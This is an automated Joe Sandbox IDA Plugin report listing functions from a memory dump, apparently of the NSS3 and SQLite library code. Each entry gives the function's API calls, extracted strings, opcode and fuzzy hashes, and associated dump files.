Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 3b3f01ff94ecd53bcce1d34a7a838b350e669ff9b0038c8adcaa8dd90093d9f3
Instruction ID: 6e7b9fcc5d3b1dc3930b7d42da60b7507bc5ea161ef7feb34a1a2ec9510b6e3b
Opcode Fuzzy Hash: 3b3f01ff94ecd53bcce1d34a7a838b350e669ff9b0038c8adcaa8dd90093d9f3
Instruction Fuzzy Hash: 4871FFB1A003018FDB24CFA5DC94A6AB7B1BF4831CF24862DE91D9B711E771E955CBA0

Function 6CE91CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CE91F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CE92166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CE9228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CE923B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE9241C

Strings

token, xrefs: 6CE91F2C
manufacturer, xrefs: 6CE92179
serial, xrefs: 6CE922A2
model, xrefs: 6CE923CB, 6CE923EC

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: c4444f47e51250510fa02c12d9abcf65d3906a085e9a951b6cb88352a2f4a75a
Instruction ID: a05cc7808f7cb55859ba907e188820898d8630844533ee57907dc71c41ca20a6
Opcode Fuzzy Hash: c4444f47e51250510fa02c12d9abcf65d3906a085e9a951b6cb88352a2f4a75a
Instruction Fuzzy Hash: 79021D62E0C7CC6EFB318672D44D3D76AF49B5532CF28166EC69E46783C3A859888352

Function 6CE96C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE41C6F,00000000,00000004,?,?), ref: 6CE96C3F

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CE41C6F,00000000,00000004,?,?), ref: 6CE96C60
PR_ExplodeTime.NSS3(00000000,6CE41C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CE41C6F,00000000,00000004,?,?), ref: 6CE96C94

Strings

gfff, xrefs: 6CE96CFD
gfff, xrefs: 6CE96D9C
gfff, xrefs: 6CE96D66
gfff, xrefs: 6CE96D30
gfff, xrefs: 6CE96CF5

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: d59aed3cb7cad96f51e8660c68147ea8b5051fc7ecd759a371eb3112de94452d
Instruction ID: 39a2daf645d3ae93afd8ef0a23ab081c7a3b96520703e11457bdcd0da5dafd7c
Opcode Fuzzy Hash: d59aed3cb7cad96f51e8660c68147ea8b5051fc7ecd759a371eb3112de94452d
Instruction Fuzzy Hash: D4513C72B015494FC718CDADDC527DABBEAABA4310F48C23AE442DB781D638D906C751

Function 6CF10F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CF11027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF110B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF11353

Strings

NULL, xrefs: 6CF1119E
-- , xrefs: 6CF10FF5
$, xrefs: 6CF112A0
zeroblob(%d), xrefs: 6CF11223
'%.*q', xrefs: 6CF11217, 6CF11292
%02x, xrefs: 6CF112F6
%lld, xrefs: 6CF1114B

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: f25c237f69d47c83454a9ff9252a9978235daa01baef4702d2772ffce592b397
Instruction ID: 4afc4758e74946b79ba7f61a3a3e9881f2e992f7ebb932a41b25d6c56975118d
Opcode Fuzzy Hash: f25c237f69d47c83454a9ff9252a9978235daa01baef4702d2772ffce592b397
Instruction Fuzzy Hash: A4E1AE71A0C3809FD714CF14C480BABBBF5AFA6358F15892DE99587B60E771E845CB42

Function 6CF18FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF18FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF190DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF19118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF1915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF191C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF19209

Strings

UUUU, xrefs: 6CF19255
3333, xrefs: 6CF1925E

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: a7d18422e7246324a630f817b065d20963e87b33a465170fb1dc6f622d7d21e9
Instruction ID: b22c6b4bac1056975a061da0ebaeea7dd53bb6dd63d95b330d0cd59924c14a7c
Opcode Fuzzy Hash: a7d18422e7246324a630f817b065d20963e87b33a465170fb1dc6f622d7d21e9
Instruction Fuzzy Hash: D7A18E72E001159FDB04CB69CC90B9EB7B5BF88324F0A4169E919A7751EB36ED11CBE0

Function 6CDD0FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CDCCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE2F9C9,?,6CE2F4DA,6CE2F9C9,?,?,6CDF369A), ref: 6CDCCA7A
Part of subcall function 6CDCCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDCCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CDD103E
EnterCriticalSection.KERNEL32(?), ref: 6CDD1139
LeaveCriticalSection.KERNEL32(?), ref: 6CDD1190
sqlite3_free.NSS3(00000000), ref: 6CDD1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CDD126E
sqlite3_free.NSS3(?), ref: 6CDD127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CDD1267
winAccess, xrefs: 6CDD129B

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: d63d703ad2bb0d84d5a2080eb131f65236195ef0c0e49b3ac8b0740d59fa733e
Instruction ID: 2ccf6b40071c5ed664388b0ebf7ed60621a14ec6681a9078fce5628e72ad5084
Opcode Fuzzy Hash: d63d703ad2bb0d84d5a2080eb131f65236195ef0c0e49b3ac8b0740d59fa733e
Instruction Fuzzy Hash: 7E710632F04201DBEF449F65EC85B6E7776FB86334F164229E91287AA0DB31E845C792

Function 6CDDAEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CEFCF46,?,6CDCCDBD,?,6CEFBF31,?,?,?,?,?,?,?), ref: 6CDDB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CEFCF46,?,6CDCCDBD,?,6CEFBF31), ref: 6CDDB090
sqlite3_free.NSS3(?,?,?,?,?,?,6CEFCF46,?,6CDCCDBD,?,6CEFBF31), ref: 6CDDB0A2
CloseHandle.KERNEL32(?,?,6CEFCF46,?,6CDCCDBD,?,6CEFBF31,?,?,?,?,?,?,?,?,?), ref: 6CDDB100
sqlite3_free.NSS3(?,?,00000002,?,6CEFCF46,?,6CDCCDBD,?,6CEFBF31,?,?,?,?,?,?,?), ref: 6CDDB115
sqlite3_free.NSS3(?,?,?,?,?,?,6CEFCF46,?,6CDCCDBD,?,6CEFBF31), ref: 6CDDB12D

Part of subcall function 6CDC9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CDDC6FD,?,?,?,?,6CE2F965,00000000), ref: 6CDC9F0E
Part of subcall function 6CDC9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CE2F965,00000000), ref: 6CDC9F5D

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 94040382e78eddb2c3e72940bcee73766b802d101594134f5bf5cc1ceb3216c0
Instruction ID: 443273d4cb9c858c750868d21d4f7920cffbca4dd6866aebd6dfc3e0284c5ef6
Opcode Fuzzy Hash: 94040382e78eddb2c3e72940bcee73766b802d101594134f5bf5cc1ceb3216c0
Instruction Fuzzy Hash: 3091ACB0E04206CFDB04CF65D885B6AB7B5BF45308B16862DE45A97AA0EB30F844CB52

Function 6CEABD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CEABD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CEABD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CEABD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CEABD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CEABDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CEABDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CEABDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CEABE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CEABE1E

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: ccec49cff567fbeb111f7939cf11b60790c06639326a0cc622e0d4e091e8e4ae
Instruction ID: 04fc17fe91bc68ece1d0e2a10804403d58809af319c2054b5e450ea346ab26cb
Opcode Fuzzy Hash: ccec49cff567fbeb111f7939cf11b60790c06639326a0cc622e0d4e091e8e4ae
Instruction Fuzzy Hash: 0C21A576E0429D5FFB0046D69C43F8B36749BD274DF180158F917EE741E710981A86A6

Function 6CF58D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFA14E4,6CF0CC70), ref: 6CF58D47
PR_GetCurrentThread.NSS3 ref: 6CF58D98

Part of subcall function 6CE30F00: PR_GetPageSize.NSS3(6CE30936,FFFFE8AE,?,6CDC16B7,00000000,?,6CE30936,00000000,?,6CDC204A), ref: 6CE30F1B
Part of subcall function 6CE30F00: PR_NewLogModule.NSS3(clock,6CE30936,FFFFE8AE,?,6CDC16B7,00000000,?,6CE30936,00000000,?,6CDC204A), ref: 6CE30F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CF58E7B
htons.WSOCK32(?), ref: 6CF58EDB
PR_GetCurrentThread.NSS3 ref: 6CF58F99
PR_GetCurrentThread.NSS3 ref: 6CF5910A

Strings

%u.%u.%u.%u, xrefs: 6CF58E74

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: c4cbd9b93b58724c1299b2f8efc7bd2282d299d38b60657b3959826446ace963
Instruction ID: dd5d6ceee427550f11927219b2e1ef06b541a422eba4c37d72615b7e3baf47e4
Opcode Fuzzy Hash: c4cbd9b93b58724c1299b2f8efc7bd2282d299d38b60657b3959826446ace963
Instruction Fuzzy Hash: 5E02CF71A061618FDB18CF19C4683A6BFB3EF62304F9A825EC9915FB91C731DA16C790

Function 6CDDEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

view, xrefs: 6CDDF061, 6CDDF071, 6CDDFAB7
authorizer malfunction, xrefs: 6CDDF95C, 6CDDF9BF, 6CDDFA5E, 6CDDFA8B
table, xrefs: 6CDDF05C, 6CDDFABC, 6CDDFAC7
sqlite_master, xrefs: 6CDDF0AB, 6CDDF2DA, 6CDDF757, 6CDDF93E
sqlite_temp_master, xrefs: 6CDDF0A6, 6CDDF2D5
not authorized, xrefs: 6CDDF957, 6CDDF9BA
temporary table name must be unqualified, xrefs: 6CDDF734
there is already an index named %s, xrefs: 6CDDF9D7
%s %T already exists, xrefs: 6CDDFAC8

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: a00659e993cdd6c731c56ad4504e280c5128ff32b7af68958472bde60ad81ec8
Instruction ID: 491521bd6755647a720dbbebd86c475de4ba09a092cbb2b0d68899a3cb525823
Opcode Fuzzy Hash: a00659e993cdd6c731c56ad4504e280c5128ff32b7af68958472bde60ad81ec8
Instruction Fuzzy Hash: 37729170E04205CFDB14CF69C484BAABBF1BF49308F1681AED8559BB62D775E846CB90

Function 6CEF9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CDCC52B), ref: 6CEF9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CEFA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CEFA114

Strings

%s at line %d of [%.10s], xrefs: 6CEFA02E, 6CEFA10D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CEFA01F, 6CEFA0E4, 6CEFA0FE
database corruption, xrefs: 6CEFA029, 6CEFA108

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: f54473914d6e14e1a7c7eb6b1b8200010da9ceb644931844784af55451aef8a1
Instruction ID: 0184f4d1bf6ac609597aaa0cdaf4091de14136b0c2a8de7aa6b0ec73dcff4c18
Opcode Fuzzy Hash: f54473914d6e14e1a7c7eb6b1b8200010da9ceb644931844784af55451aef8a1
Instruction Fuzzy Hash: 08229D716483418FD704CF29C49062AB7F1BF8A348F248A2DE9EA9B751D735D846CB52

Function 6CF19D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CDD8637,?,?), ref: 6CF19E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CDD8637), ref: 6CF19ED6

Strings

%s at line %d of [%.10s], xrefs: 6CF19ECF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF19EC0
database corruption, xrefs: 6CF19ECA

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: cccf119bf8af82467f381b7bd7eaafd770aa3aa3f4ea288d7f69f49482db57f0
Instruction ID: 712f7570bb50438eb3f3d3822e05867fcc06e17652fa9852a5734668dfbd9800
Opcode Fuzzy Hash: cccf119bf8af82467f381b7bd7eaafd770aa3aa3f4ea288d7f69f49482db57f0
Instruction Fuzzy Hash: D581A431B052159FCB04CF6AC880ADEB7F6EF48304F158569E915ABB51EB31EE45CBA0

Function 6CF27F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CF281BC

Strings

BINARY, xrefs: 6CF28126
out of memory, xrefs: 6CF2835B

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 94fcf28e29e73a8d35411fa71f638899c36211586ea84461d2a906aa5977d67d
Instruction ID: 193ded69ed76fbc9706f32019d4dcbd7948230f737916c618f974f4c78ed68a3
Opcode Fuzzy Hash: 94fcf28e29e73a8d35411fa71f638899c36211586ea84461d2a906aa5977d67d
Instruction Fuzzy Hash: C852A072E05218CFDB14CFD9C890B9EBBB1FF48318F25815AD815AB791D738A846CB90

Function 6CEA9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEA9ED6

Part of subcall function 6CEA14C0: TlsGetValue.KERNEL32 ref: 6CEA14E0
Part of subcall function 6CEA14C0: EnterCriticalSection.KERNEL32 ref: 6CEA14F5
Part of subcall function 6CEA14C0: PR_Unlock.NSS3 ref: 6CEA150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CEA9EE4

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEA9F38

Part of subcall function 6CEAD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CEA9F0B), ref: 6CEAD03B
Part of subcall function 6CEAD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CEAD04E
Part of subcall function 6CEAD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CEAD07B
Part of subcall function 6CEAD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CEAD08E
Part of subcall function 6CEAD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEAD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEA9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CEA9F59

